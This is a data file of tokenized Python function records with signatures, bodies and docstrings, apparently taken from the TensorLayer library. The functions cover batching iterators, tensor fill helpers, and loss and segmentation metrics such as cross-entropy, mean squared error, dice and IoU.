{"signature": "def minibatches(inputs=None, targets=None, batch_size=None, allow_dynamic_batch_size=False, shuffle=False):", "body": "if len(inputs) != len(targets):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if shuffle:<EOL><INDENT>indices = np.arange(len(inputs))<EOL>np.random.shuffle(indices)<EOL><DEDENT>for start_idx in range(<NUM_LIT:0>, len(inputs), batch_size):<EOL><INDENT>end_idx = start_idx + batch_size<EOL>if end_idx > len(inputs):<EOL><INDENT>if allow_dynamic_batch_size:<EOL><INDENT>end_idx = len(inputs)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if shuffle:<EOL><INDENT>excerpt = indices[start_idx:end_idx]<EOL><DEDENT>else:<EOL><INDENT>excerpt = slice(start_idx, end_idx)<EOL><DEDENT>if (isinstance(inputs, list) or isinstance(targets, list)) and (shuffle ==True):<EOL><INDENT>yield [inputs[i] for i in excerpt], [targets[i] for i in excerpt]<EOL><DEDENT>else:<EOL><INDENT>yield inputs[excerpt], targets[excerpt]<EOL><DEDENT><DEDENT>", "docstring": "Generate a generator that input a group of example in numpy.array and\n    their labels, return the examples and labels by the given batch size.\n\n    Parameters\n    ----------\n    inputs : numpy.array\n        The input features, every row is a example.\n    targets : numpy.array\n        The labels of inputs, every row is a example.\n    batch_size : int\n        The batch size.\n    allow_dynamic_batch_size: boolean\n        Allow the use of the last data batch in case the number of examples is not a multiple of batch_size, this may result in unexpected behaviour if other functions expect a fixed-sized batch-size.\n    shuffle : boolean\n        Indicating whether to use a shuffling queue, shuffle the dataset before return.\n\n    Examples\n    --------\n    >>> X = np.asarray([['a','a'], ['b','b'], ['c','c'], ['d','d'], ['e','e'], ['f','f']])\n    >>> y = np.asarray([0,1,2,3,4,5])\n    >>> for batch in tl.iterate.minibatches(inputs=X, targets=y, batch_size=2, shuffle=False):\n    >>>     print(batch)\n    (array([['a', 'a'], ['b', 'b']], dtype='<U1'), array([0, 1]))\n    (array([['c', 'c'], ['d', 'd']], dtype='<U1'), array([2, 3]))\n    (array([['e', 'e'], ['f', 'f']], dtype='<U1'), array([4, 5]))\n\n    Notes\n    -----\n    If you have two inputs and one label and want to shuffle them together, e.g. X1 (1000, 100), X2 (1000, 80) and Y (1000, 1), you can stack them together (`np.hstack((X1, X2))`)\n    into (1000, 180) and feed to ``inputs``. After getting a batch, you can split it back into X1 and X2.", "id": "f11216:m0"}
{"signature": "def seq_minibatches(inputs, targets, batch_size, seq_length, stride=<NUM_LIT:1>):", "body": "if len(inputs) != len(targets):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>n_loads = (batch_size * stride) + (seq_length - stride)<EOL>for start_idx in range(<NUM_LIT:0>, len(inputs) - n_loads + <NUM_LIT:1>, (batch_size * stride)):<EOL><INDENT>seq_inputs = np.zeros((batch_size, seq_length) + inputs.shape[<NUM_LIT:1>:], dtype=inputs.dtype)<EOL>seq_targets = np.zeros((batch_size, seq_length) + targets.shape[<NUM_LIT:1>:], dtype=targets.dtype)<EOL>for b_idx in xrange(batch_size):<EOL><INDENT>start_seq_idx = start_idx + (b_idx * stride)<EOL>end_seq_idx = start_seq_idx + seq_length<EOL>seq_inputs[b_idx] = inputs[start_seq_idx:end_seq_idx]<EOL>seq_targets[b_idx] = targets[start_seq_idx:end_seq_idx]<EOL><DEDENT>flatten_inputs = seq_inputs.reshape((-<NUM_LIT:1>, ) + inputs.shape[<NUM_LIT:1>:])<EOL>flatten_targets = seq_targets.reshape((-<NUM_LIT:1>, ) + targets.shape[<NUM_LIT:1>:])<EOL>yield flatten_inputs, flatten_targets<EOL><DEDENT>", "docstring": "Generate a generator that return a batch of sequence inputs and targets.\n    If `batch_size=100` and `seq_length=5`, one return will have 500 rows (examples).\n\n    Parameters\n    ----------\n    inputs : numpy.array\n        The input features, every row is a example.\n    targets : numpy.array\n        The labels of inputs, every element is a example.\n    batch_size : int\n        The batch size.\n    seq_length : int\n        The sequence length.\n    stride : int\n        The stride step, default is 1.\n\n    Examples\n    --------\n    Synced sequence input and output.\n\n    >>> X = np.asarray([['a','a'], ['b','b'], ['c','c'], ['d','d'], ['e','e'], ['f','f']])\n    >>> y = np.asarray([0, 1, 2, 3, 4, 5])\n    >>> for batch in tl.iterate.seq_minibatches(inputs=X, targets=y, batch_size=2, seq_length=2, stride=1):\n    >>>     print(batch)\n    (array([['a', 'a'], ['b', 'b'], ['b', 'b'], ['c', 'c']], dtype='<U1'), array([0, 1, 1, 2]))\n    (array([['c', 'c'], ['d', 'd'], ['d', 'd'], ['e', 'e']], dtype='<U1'), array([2, 3, 3, 4]))\n\n    Many to One\n\n    >>> return_last = True\n    >>> num_steps = 2\n    >>> X = np.asarray([['a','a'], ['b','b'], ['c','c'], ['d','d'], ['e','e'], ['f','f']])\n    >>> Y = np.asarray([0,1,2,3,4,5])\n    >>> for batch in tl.iterate.seq_minibatches(inputs=X, targets=Y, batch_size=2, seq_length=num_steps, stride=1):\n    >>>     x, y = batch\n    >>>     if return_last:\n    >>>         tmp_y = y.reshape((-1, num_steps) + y.shape[1:])\n    >>>     y = tmp_y[:, -1]\n    >>>     print(x, y)\n    [['a' 'a']\n    ['b' 'b']\n    ['b' 'b']\n    ['c' 'c']] [1 2]\n    [['c' 'c']\n    ['d' 'd']\n    ['d' 'd']\n    ['e' 'e']] [3 4]", "id": "f11216:m1"}
{"signature": "def seq_minibatches2(inputs, targets, batch_size, num_steps):", "body": "if len(inputs) != len(targets):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>data_len = len(inputs)<EOL>batch_len = data_len // batch_size<EOL>data = np.zeros((batch_size, batch_len) + inputs.shape[<NUM_LIT:1>:], dtype=inputs.dtype)<EOL>data2 = np.zeros([batch_size, batch_len])<EOL>for i in range(batch_size):<EOL><INDENT>data[i] = inputs[batch_len * i:batch_len * (i + <NUM_LIT:1>)]<EOL>data2[i] = targets[batch_len * i:batch_len * (i + <NUM_LIT:1>)]<EOL><DEDENT>epoch_size = (batch_len - <NUM_LIT:1>) // num_steps<EOL>if epoch_size == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for i in range(epoch_size):<EOL><INDENT>x = data[:, i * num_steps:(i + <NUM_LIT:1>) * num_steps]<EOL>x2 = data2[:, i * num_steps:(i + <NUM_LIT:1>) * num_steps]<EOL>yield (x, x2)<EOL><DEDENT>", "docstring": "Generate a generator that iterates on two list of words. Yields (Returns) the source contexts and\n    the target context by the given batch_size and num_steps (sequence_length).\n    In TensorFlow's tutorial, this generates the `batch_size` pointers into the raw PTB data, and allows minibatch iteration along these pointers.\n\n    Parameters\n    ----------\n    inputs : list of data\n        The context in list format; note that context usually be represented by splitting by space, and then convert to unique word IDs.\n    targets : list of data\n        The context in list format; note that context usually be represented by splitting by space, and then convert to unique word IDs.\n    batch_size : int\n        The batch size.\n    num_steps : int\n        The number of unrolls. i.e. sequence length\n\n    Yields\n    ------\n    Pairs of the batched data, each a matrix of shape [batch_size, num_steps].\n\n    Raises\n    ------\n    ValueError : if batch_size or num_steps are too high.\n\n    Examples\n    --------\n    >>> X = [i for i in range(20)]\n    >>> Y = [i for i in range(20,40)]\n    >>> for batch in tl.iterate.seq_minibatches2(X, Y, batch_size=2, num_steps=3):\n    ...     x, y = batch\n    ...     print(x, y)\n\n    [[  0.   1.   2.]\n    [ 10.  11.  12.]]\n    [[ 20.  21.  22.]\n    [ 30.  31.  32.]]\n\n    [[  3.   4.   5.]\n    [ 13.  14.  15.]]\n    [[ 23.  24.  25.]\n    [ 33.  34.  35.]]\n\n    [[  6.   7.   8.]\n    [ 16.  17.  18.]]\n    [[ 26.  27.  28.]\n    [ 36.  37.  38.]]\n\n    Notes\n    -----\n    - Hint, if the input data are images, you can modify the source code `data = np.zeros([batch_size, batch_len)` to `data = np.zeros([batch_size, batch_len, inputs.shape[1], inputs.shape[2], inputs.shape[3]])`.", "id": "f11216:m2"}
{"signature": "def ptb_iterator(raw_data, batch_size, num_steps):", "body": "raw_data = np.array(raw_data, dtype=np.int32)<EOL>data_len = len(raw_data)<EOL>batch_len = data_len // batch_size<EOL>data = np.zeros([batch_size, batch_len], dtype=np.int32)<EOL>for i in range(batch_size):<EOL><INDENT>data[i] = raw_data[batch_len * i:batch_len * (i + <NUM_LIT:1>)]<EOL><DEDENT>epoch_size = (batch_len - <NUM_LIT:1>) // num_steps<EOL>if epoch_size == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for i in range(epoch_size):<EOL><INDENT>x = data[:, i * num_steps:(i + <NUM_LIT:1>) * num_steps]<EOL>y = data[:, i * num_steps + <NUM_LIT:1>:(i + <NUM_LIT:1>) * num_steps + <NUM_LIT:1>]<EOL>yield (x, y)<EOL><DEDENT>", "docstring": "Generate a generator that iterates on a list of words, see `PTB example <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_ptb_lstm_state_is_tuple.py>`__.\n    Yields the source contexts and the target context by the given batch_size and num_steps (sequence_length).\n\n    In TensorFlow's tutorial, this generates `batch_size` pointers into the raw\n    PTB data, and allows minibatch iteration along these pointers.\n\n    Parameters\n    ----------\n    raw_data : a list\n            the context in list format; note that context usually be\n            represented by splitting by space, and then convert to unique\n            word IDs.\n    batch_size : int\n            the batch size.\n    num_steps : int\n            the number of unrolls. i.e. sequence_length\n\n    Yields\n    ------\n    Pairs of the batched data, each a matrix of shape [batch_size, num_steps].\n    The second element of the tuple is the same data time-shifted to the\n    right by one.\n\n    Raises\n    ------\n    ValueError : if batch_size or num_steps are too high.\n\n    Examples\n    --------\n    >>> train_data = [i for i in range(20)]\n    >>> for batch in tl.iterate.ptb_iterator(train_data, batch_size=2, num_steps=3):\n    >>>     x, y = batch\n    >>>     print(x, y)\n    [[ 0  1  2] <---x                       1st subset/ iteration\n     [10 11 12]]\n    [[ 1  2  3] <---y\n     [11 12 13]]\n\n    [[ 3  4  5]  <--- 1st batch input       2nd subset/ iteration\n     [13 14 15]] <--- 2nd batch input\n    [[ 4  5  6]  <--- 1st batch target\n     [14 15 16]] <--- 2nd batch target\n\n    [[ 6  7  8]                             3rd subset/ iteration\n     [16 17 18]]\n    [[ 7  8  9]\n     [17 18 19]]", "id": "f11216:m3"}
{"signature": "def alphas(shape, alpha_value, name=None):", "body": "with ops.name_scope(name, \"<STR_LIT>\", [shape]) as name:<EOL><INDENT>alpha_tensor = convert_to_tensor(alpha_value)<EOL>alpha_dtype = dtypes.as_dtype(alpha_tensor.dtype).base_dtype<EOL>if not isinstance(shape, ops.Tensor):<EOL><INDENT>try:<EOL><INDENT>shape = constant_op._tensor_shape_tensor_conversion_function(tensor_shape.TensorShape(shape))<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>shape = ops.convert_to_tensor(shape, dtype=dtypes.int32)<EOL><DEDENT><DEDENT>if not shape._shape_tuple():<EOL><INDENT>shape = reshape(shape, [-<NUM_LIT:1>])  <EOL><DEDENT>try:<EOL><INDENT>output = constant(alpha_value, shape=shape, dtype=alpha_dtype, name=name)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>output = fill(shape, constant(alpha_value, dtype=alpha_dtype), name=name)<EOL><DEDENT>if output.dtype.base_dtype != alpha_dtype:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\" % (output.dtype.base_dtype, alpha_dtype))<EOL><DEDENT>return output<EOL><DEDENT>", "docstring": "Creates a tensor with all elements set to `alpha_value`.\n    This operation returns a tensor of type `dtype` with shape `shape` and all\n    elements set to alpha.\n\n    Parameters\n    ----------\n    shape: A list of integers, a tuple of integers, or a 1-D `Tensor` of type `int32`.\n        The shape of the desired tensor\n    alpha_value: `float32`, `float64`, `int8`, `uint8`, `int16`, `uint16`, int32`, `int64`\n        The value used to fill the resulting `Tensor`.\n    name: str\n        A name for the operation (optional).\n\n    Returns\n    -------\n    A `Tensor` with all elements set to alpha.\n\n    Examples\n    --------\n    >>> tl.alphas([2, 3], tf.int32)  # [[alpha, alpha, alpha], [alpha, alpha, alpha]]", "id": "f11217:m0"}
{"signature": "def alphas_like(tensor, alpha_value, name=None, optimize=True):", "body": "with ops.name_scope(name, \"<STR_LIT>\", [tensor]) as name:<EOL><INDENT>tensor = ops.convert_to_tensor(tensor, name=\"<STR_LIT>\")<EOL>if context.in_eager_mode():  <EOL><INDENT>ret = alphas(shape_internal(tensor, optimize=optimize), alpha_value=alpha_value, name=name)<EOL><DEDENT>else:  <EOL><INDENT>if (optimize and tensor.shape.is_fully_defined()):<EOL><INDENT>ret = alphas(tensor.shape, alpha_value=alpha_value, name=name)<EOL><DEDENT>else:<EOL><INDENT>ret = alphas(shape_internal(tensor, optimize=optimize), alpha_value=alpha_value, name=name)<EOL><DEDENT>ret.set_shape(tensor.get_shape())<EOL><DEDENT>return ret<EOL><DEDENT>", "docstring": "Creates a tensor with all elements set to `alpha_value`.\n    Given a single tensor (`tensor`), this operation returns a tensor of the same\n    type and shape as `tensor` with all elements set to `alpha_value`.\n\n    Parameters\n    ----------\n    tensor: tf.Tensor\n        The Tensorflow Tensor that will be used as a template.\n    alpha_value: `float32`, `float64`, `int8`, `uint8`, `int16`, `uint16`, int32`, `int64`\n        The value used to fill the resulting `Tensor`.\n    name: str\n        A name for the operation (optional).\n    optimize: bool\n        if true, attempt to statically determine the shape of 'tensor' and encode it as a constant.\n\n    Returns\n    -------\n    A `Tensor` with all elements set to `alpha_value`.\n\n    Examples\n    --------\n    >>> tensor = tf.constant([[1, 2, 3], [4, 5, 6]])\n    >>> tl.alphas_like(tensor, 0.5)  # [[0.5, 0.5, 0.5], [0.5, 0.5, 0.5]]", "id": "f11217:m1"}
{"signature": "def cross_entropy(output, target, name=None):", "body": "if name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>return tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(labels=target, logits=output), name=name)<EOL>", "docstring": "Softmax cross-entropy operation, returns the TensorFlow expression of cross-entropy for two distributions,\n    it implements softmax internally. See ``tf.nn.sparse_softmax_cross_entropy_with_logits``.\n\n    Parameters\n    ----------\n    output : Tensor\n        A batch of distribution with shape: [batch_size, num of classes].\n    target : Tensor\n        A batch of index with shape: [batch_size, ].\n    name : string\n        Name of this loss.\n\n    Examples\n    --------\n    >>> ce = tl.cost.cross_entropy(y_logits, y_target_logits, 'my_loss')\n\n    References\n    -----------\n    - About cross-entropy: `<https://en.wikipedia.org/wiki/Cross_entropy>`__.\n    - The code is borrowed from: `<https://en.wikipedia.org/wiki/Cross_entropy>`__.", "id": "f11218:m0"}
{"signature": "def sigmoid_cross_entropy(output, target, name=None):", "body": "return tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=target, logits=output), name=name)<EOL>", "docstring": "Sigmoid cross-entropy operation, see ``tf.nn.sigmoid_cross_entropy_with_logits``.\n\n    Parameters\n    ----------\n    output : Tensor\n        A batch of distribution with shape: [batch_size, num of classes].\n    target : Tensor\n        A batch of index with shape: [batch_size, ].\n    name : string\n        Name of this loss.", "id": "f11218:m1"}
{"signature": "def binary_cross_entropy(output, target, epsilon=<NUM_LIT>, name='<STR_LIT>'):", "body": "<EOL>return tf.reduce_mean(<EOL>tf.reduce_sum(-(target * tf.log(output + epsilon) + (<NUM_LIT:1.> - target) * tf.log(<NUM_LIT:1.> - output + epsilon)), axis=<NUM_LIT:1>),<EOL>name=name<EOL>)<EOL>", "docstring": "Binary cross entropy operation.\n\n    Parameters\n    ----------\n    output : Tensor\n        Tensor with type of `float32` or `float64`.\n    target : Tensor\n        The target distribution, format the same with `output`.\n    epsilon : float\n        A small value to avoid output to be zero.\n    name : str\n        An optional name to attach to this function.\n\n    References\n    -----------\n    - `ericjang-DRAW <https://github.com/ericjang/draw/blob/master/draw.py#L73>`__", "id": "f11218:m2"}
{"signature": "def mean_squared_error(output, target, is_mean=False, name=\"<STR_LIT>\"):", "body": "<EOL>if output.get_shape().ndims == <NUM_LIT:2>:  <EOL><INDENT>if is_mean:<EOL><INDENT>mse = tf.reduce_mean(tf.reduce_mean(tf.squared_difference(output, target), <NUM_LIT:1>), name=name)<EOL><DEDENT>else:<EOL><INDENT>mse = tf.reduce_mean(tf.reduce_sum(tf.squared_difference(output, target), <NUM_LIT:1>), name=name)<EOL><DEDENT><DEDENT>elif output.get_shape().ndims == <NUM_LIT:3>:  <EOL><INDENT>if is_mean:<EOL><INDENT>mse = tf.reduce_mean(tf.reduce_mean(tf.squared_difference(output, target), [<NUM_LIT:1>, <NUM_LIT:2>]), name=name)<EOL><DEDENT>else:<EOL><INDENT>mse = tf.reduce_mean(tf.reduce_sum(tf.squared_difference(output, target), [<NUM_LIT:1>, <NUM_LIT:2>]), name=name)<EOL><DEDENT><DEDENT>elif output.get_shape().ndims == <NUM_LIT:4>:  <EOL><INDENT>if is_mean:<EOL><INDENT>mse = tf.reduce_mean(tf.reduce_mean(tf.squared_difference(output, target), [<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]), name=name)<EOL><DEDENT>else:<EOL><INDENT>mse = tf.reduce_mean(tf.reduce_sum(tf.squared_difference(output, target), [<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]), name=name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>return mse<EOL>", "docstring": "Return the TensorFlow expression of mean-square-error (L2) of two batch of data.\n\n    Parameters\n    ----------\n    output : Tensor\n        2D, 3D or 4D tensor i.e. [batch_size, n_feature], [batch_size, height, width] or [batch_size, height, width, channel].\n    target : Tensor\n        The target distribution, format the same with `output`.\n    is_mean : boolean\n        Whether compute the mean or sum for each example.\n            - If True, use ``tf.reduce_mean`` to compute the loss between one target and predict data.\n            - If False, use ``tf.reduce_sum`` (default).\n    name : str\n        An optional name to attach to this function.\n\n    References\n    ------------\n    - `Wiki Mean Squared Error <https://en.wikipedia.org/wiki/Mean_squared_error>`__", "id": "f11218:m3"}
{"signature": "def normalized_mean_square_error(output, target, name=\"<STR_LIT>\"):", "body": "<EOL>if output.get_shape().ndims == <NUM_LIT:2>:  <EOL><INDENT>nmse_a = tf.sqrt(tf.reduce_sum(tf.squared_difference(output, target), axis=<NUM_LIT:1>))<EOL>nmse_b = tf.sqrt(tf.reduce_sum(tf.square(target), axis=<NUM_LIT:1>))<EOL><DEDENT>elif output.get_shape().ndims == <NUM_LIT:3>:  <EOL><INDENT>nmse_a = tf.sqrt(tf.reduce_sum(tf.squared_difference(output, target), axis=[<NUM_LIT:1>, <NUM_LIT:2>]))<EOL>nmse_b = tf.sqrt(tf.reduce_sum(tf.square(target), axis=[<NUM_LIT:1>, <NUM_LIT:2>]))<EOL><DEDENT>elif output.get_shape().ndims == <NUM_LIT:4>:  <EOL><INDENT>nmse_a = tf.sqrt(tf.reduce_sum(tf.squared_difference(output, target), axis=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]))<EOL>nmse_b = tf.sqrt(tf.reduce_sum(tf.square(target), axis=[<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]))<EOL><DEDENT>nmse = tf.reduce_mean(nmse_a / nmse_b, name=name)<EOL>return nmse<EOL>", "docstring": "Return the TensorFlow expression of normalized mean-square-error of two distributions.\n\n    Parameters\n    ----------\n    output : Tensor\n        2D, 3D or 4D tensor i.e. [batch_size, n_feature], [batch_size, height, width] or [batch_size, height, width, channel].\n    target : Tensor\n        The target distribution, format the same with `output`.\n    name : str\n        An optional name to attach to this function.", "id": "f11218:m4"}
{"signature": "def absolute_difference_error(output, target, is_mean=False, name=\"<STR_LIT>\"):", "body": "<EOL>if output.get_shape().ndims == <NUM_LIT:2>:  <EOL><INDENT>if is_mean:<EOL><INDENT>loss = tf.reduce_mean(tf.reduce_mean(tf.abs(output - target), <NUM_LIT:1>), name=name)<EOL><DEDENT>else:<EOL><INDENT>loss = tf.reduce_mean(tf.reduce_sum(tf.abs(output - target), <NUM_LIT:1>), name=name)<EOL><DEDENT><DEDENT>elif output.get_shape().ndims == <NUM_LIT:3>:  <EOL><INDENT>if is_mean:<EOL><INDENT>loss = tf.reduce_mean(tf.reduce_mean(tf.abs(output - target), [<NUM_LIT:1>, <NUM_LIT:2>]), name=name)<EOL><DEDENT>else:<EOL><INDENT>loss = tf.reduce_mean(tf.reduce_sum(tf.abs(output - target), [<NUM_LIT:1>, <NUM_LIT:2>]), name=name)<EOL><DEDENT><DEDENT>elif output.get_shape().ndims == <NUM_LIT:4>:  <EOL><INDENT>if is_mean:<EOL><INDENT>loss = tf.reduce_mean(tf.reduce_mean(tf.abs(output - target), [<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]), name=name)<EOL><DEDENT>else:<EOL><INDENT>loss = tf.reduce_mean(tf.reduce_sum(tf.abs(output - target), [<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]), name=name)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>return loss<EOL>", "docstring": "Return the TensorFlow expression of absolute difference error (L1) of two batch of data.\n\n    Parameters\n    ----------\n    output : Tensor\n        2D, 3D or 4D tensor i.e. [batch_size, n_feature], [batch_size, height, width] or [batch_size, height, width, channel].\n    target : Tensor\n        The target distribution, format the same with `output`.\n    is_mean : boolean\n        Whether compute the mean or sum for each example.\n            - If True, use ``tf.reduce_mean`` to compute the loss between one target and predict data.\n            - If False, use ``tf.reduce_sum`` (default).\n    name : str\n        An optional name to attach to this function.", "id": "f11218:m5"}
{"signature": "def dice_coe(output, target, loss_type='<STR_LIT>', axis=(<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>), smooth=<NUM_LIT>):", "body": "inse = tf.reduce_sum(output * target, axis=axis)<EOL>if loss_type == '<STR_LIT>':<EOL><INDENT>l = tf.reduce_sum(output * output, axis=axis)<EOL>r = tf.reduce_sum(target * target, axis=axis)<EOL><DEDENT>elif loss_type == '<STR_LIT>':<EOL><INDENT>l = tf.reduce_sum(output, axis=axis)<EOL>r = tf.reduce_sum(target, axis=axis)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>dice = (<NUM_LIT> * inse + smooth) / (l + r + smooth)<EOL>dice = tf.reduce_mean(dice, name='<STR_LIT>')<EOL>return dice<EOL>", "docstring": "Soft dice (S\u00f8rensen or Jaccard) coefficient for comparing the similarity\n    of two batch of data, usually be used for binary image segmentation\n    i.e. labels are binary. The coefficient between 0 to 1, 1 means totally match.\n\n    Parameters\n    -----------\n    output : Tensor\n        A distribution with shape: [batch_size, ....], (any dimensions).\n    target : Tensor\n        The target distribution, format the same with `output`.\n    loss_type : str\n        ``jaccard`` or ``sorensen``, default is ``jaccard``.\n    axis : tuple of int\n        All dimensions are reduced, default ``[1,2,3]``.\n    smooth : float\n        This small value will be added to the numerator and denominator.\n            - If both output and target are empty, it makes sure dice is 1.\n            - If either output or target are empty (all pixels are background), dice = ```smooth/(small_value + smooth)``, then if smooth is very small, dice close to 0 (even the image values lower than the threshold), so in this case, higher smooth can have a higher dice.\n\n    Examples\n    ---------\n    >>> outputs = tl.act.pixel_wise_softmax(network.outputs)\n    >>> dice_loss = 1 - tl.cost.dice_coe(outputs, y_)\n\n    References\n    -----------\n    - `Wiki-Dice <https://en.wikipedia.org/wiki/S\u00f8rensen\u2013Dice_coefficient>`__", "id": "f11218:m6"}
{"signature": "def dice_hard_coe(output, target, threshold=<NUM_LIT:0.5>, axis=(<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>), smooth=<NUM_LIT>):", "body": "output = tf.cast(output > threshold, dtype=tf.float32)<EOL>target = tf.cast(target > threshold, dtype=tf.float32)<EOL>inse = tf.reduce_sum(tf.multiply(output, target), axis=axis)<EOL>l = tf.reduce_sum(output, axis=axis)<EOL>r = tf.reduce_sum(target, axis=axis)<EOL>hard_dice = (<NUM_LIT> * inse + smooth) / (l + r + smooth)<EOL>hard_dice = tf.reduce_mean(hard_dice, name='<STR_LIT>')<EOL>return hard_dice<EOL>", "docstring": "Non-differentiable S\u00f8rensen\u2013Dice coefficient for comparing the similarity\n    of two batch of data, usually be used for binary image segmentation i.e. labels are binary.\n    The coefficient between 0 to 1, 1 if totally match.\n\n    Parameters\n    -----------\n    output : tensor\n        A distribution with shape: [batch_size, ....], (any dimensions).\n    target : tensor\n        The target distribution, format the same with `output`.\n    threshold : float\n        The threshold value to be true.\n    axis : tuple of integer\n        All dimensions are reduced, default ``(1,2,3)``.\n    smooth : float\n        This small value will be added to the numerator and denominator, see ``dice_coe``.\n\n    References\n    -----------\n    - `Wiki-Dice <https://en.wikipedia.org/wiki/S\u00f8rensen\u2013Dice_coefficient>`__", "id": "f11218:m7"}
{"signature": "def iou_coe(output, target, threshold=<NUM_LIT:0.5>, axis=(<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>), smooth=<NUM_LIT>):", "body": "pre = tf.cast(output > threshold, dtype=tf.float32)<EOL>truth = tf.cast(target > threshold, dtype=tf.float32)<EOL>inse = tf.reduce_sum(tf.multiply(pre, truth), axis=axis)  <EOL>union = tf.reduce_sum(tf.cast(tf.add(pre, truth) >= <NUM_LIT:1>, dtype=tf.float32), axis=axis)  <EOL>batch_iou = (inse + smooth) / (union + smooth)<EOL>iou = tf.reduce_mean(batch_iou, name='<STR_LIT>')<EOL>return iou<EOL>", "docstring": "Non-differentiable Intersection over Union (IoU) for comparing the\n    similarity of two batch of data, usually be used for evaluating binary image segmentation.\n    The coefficient between 0 to 1, and 1 means totally match.\n\n    Parameters\n    -----------\n    output : tensor\n        A batch of distribution with shape: [batch_size, ....], (any dimensions).\n    target : tensor\n        The target distribution, format the same with `output`.\n    threshold : float\n        The threshold value to be true.\n    axis : tuple of integer\n        All dimensions are reduced, default ``(1,2,3)``.\n    smooth : float\n        This small value will be added to the numerator and denominator, see ``dice_coe``.\n\n    Notes\n    ------\n    - IoU cannot be used as training loss, people usually use dice coefficient for training, IoU and hard-dice for evaluating.", "id": "f11218:m8"}
{"signature": "def cross_entropy_seq(logits, target_seqs, batch_size=None):  ", "body": "sequence_loss_by_example_fn = tf.contrib.legacy_seq2seq.sequence_loss_by_example<EOL>loss = sequence_loss_by_example_fn(<EOL>[logits], [tf.reshape(target_seqs, [-<NUM_LIT:1>])], [tf.ones_like(tf.reshape(target_seqs, [-<NUM_LIT:1>]), dtype=tf.float32)]<EOL>)<EOL>cost = tf.reduce_sum(loss)  <EOL>if batch_size is not None:<EOL><INDENT>cost = cost / batch_size<EOL><DEDENT>return cost<EOL>", "docstring": "Returns the expression of cross-entropy of two sequences, implement\n    softmax internally. Normally be used for fixed length RNN outputs, see `PTB example <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_ptb_lstm_state_is_tuple.py>`__.\n\n    Parameters\n    ----------\n    logits : Tensor\n        2D tensor with shape of `[batch_size * n_steps, n_classes]`.\n    target_seqs : Tensor\n        The target sequence, 2D tensor `[batch_size, n_steps]`, if the number of step is dynamic, please use ``tl.cost.cross_entropy_seq_with_mask`` instead.\n    batch_size : None or int.\n        Whether to divide the cost by batch size.\n            - If integer, the return cost will be divided by `batch_size`.\n            - If None (default), the return cost will not be divided by anything.\n\n    Examples\n    --------\n    >>> see `PTB example <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_ptb_lstm_state_is_tuple.py>`__.for more details\n    >>> input_data = tf.placeholder(tf.int32, [batch_size, n_steps])\n    >>> targets = tf.placeholder(tf.int32, [batch_size, n_steps])\n    >>> # build the network\n    >>> print(net.outputs)\n    (batch_size * n_steps, n_classes)\n    >>> cost = tl.cost.cross_entropy_seq(network.outputs, targets)", "id": "f11218:m9"}
{"signature": "def cross_entropy_seq_with_mask(logits, target_seqs, input_mask, return_details=False, name=None):", "body": "targets = tf.reshape(target_seqs, [-<NUM_LIT:1>])  <EOL>weights = tf.to_float(tf.reshape(input_mask, [-<NUM_LIT:1>]))  <EOL>losses = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=targets, name=name) * weights<EOL>loss = tf.divide(<EOL>tf.reduce_sum(losses),  <EOL>tf.reduce_sum(weights),<EOL>name=\"<STR_LIT>\"<EOL>)<EOL>if return_details:<EOL><INDENT>return loss, losses, weights, targets<EOL><DEDENT>else:<EOL><INDENT>return loss<EOL><DEDENT>", "docstring": "Returns the expression of cross-entropy of two sequences, implement\n    softmax internally. Normally be used for Dynamic RNN with Synced sequence input and output.\n\n    Parameters\n    -----------\n    logits : Tensor\n        2D tensor with shape of [batch_size * ?, n_classes], `?` means dynamic IDs for each example.\n        - Can be get from `DynamicRNNLayer` by setting ``return_seq_2d`` to `True`.\n    target_seqs : Tensor\n        int of tensor, like word ID. [batch_size, ?], `?` means dynamic IDs for each example.\n    input_mask : Tensor\n        The mask to compute loss, it has the same size with `target_seqs`, normally 0 or 1.\n    return_details : boolean\n        Whether to return detailed losses.\n            - If False (default), only returns the loss.\n            - If True, returns the loss, losses, weights and targets (see source code).\n\n    Examples\n    --------\n    >>> batch_size = 64\n    >>> vocab_size = 10000\n    >>> embedding_size = 256\n    >>> input_seqs = tf.placeholder(dtype=tf.int64, shape=[batch_size, None], name=\"input\")\n    >>> target_seqs = tf.placeholder(dtype=tf.int64, shape=[batch_size, None], name=\"target\")\n    >>> input_mask = tf.placeholder(dtype=tf.int64, shape=[batch_size, None], name=\"mask\")\n    >>> net = tl.layers.EmbeddingInputlayer(\n    ...         inputs = input_seqs,\n    ...         vocabulary_size = vocab_size,\n    ...         embedding_size = embedding_size,\n    ...         name = 'seq_embedding')\n    >>> net = 